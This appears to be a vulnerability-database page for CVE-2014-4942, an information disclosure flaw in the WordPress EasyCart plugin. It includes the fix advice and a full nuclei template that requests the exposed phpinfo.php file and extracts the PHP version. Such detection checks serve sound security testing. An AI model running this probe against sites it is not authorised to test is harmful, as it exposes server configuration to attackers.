HexBrain

Browse / CVEs / CVE-2014-4942

CVE-2014-4942· levelfourdevelopment / wp-easycart· CWE-200

WordPress EasyCart <2.0.6 - Information Disclosure

mediumseverity
5CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress EasyCart plugin before 2.0.6 contains an information disclosure vulnerability. An attacker can obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.

Impact

An attacker can gain sensitive information from the target system.

Fix

Upgrade to WordPress EasyCart version 2.0.6 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-easycart/inc/admin/phpinfo.php
Positive when: contains "PHP Extension" and "PHP Version" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4942 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-4942

info:
  name: WordPress EasyCart <2.0.6 - Information Disclosure
  author: DhiyaneshDk
  severity: medium
  description: |
    WordPress EasyCart plugin before 2.0.6 contains an information disclosure vulnerability. An attacker can obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
  impact: |
    An attacker can gain sensitive information from the target system.
  remediation: |
    Upgrade to WordPress EasyCart version 2.0.6 or later.
  reference:
    - https://wpscan.com/vulnerability/64ea4135-eb26-4dea-a13f-f4c1deb77150
    - https://codevigilant.com/disclosure/wp-plugin-wp-easycart-information-disclosure
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4942
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4942
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=829290%40wp-easycart&old=827627%40wp-easycart&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4942
    cwe-id: CWE-200
    epss-score: 0.04536
    epss-percentile: 0.91639
    cpe: cpe:2.3:a:levelfourdevelopment:wp-easycart:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: levelfourdevelopment
    product: wp-easycart
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,wp,phpinfo,disclosure,levelfourdevelopment,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-easycart/inc/admin/phpinfo.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from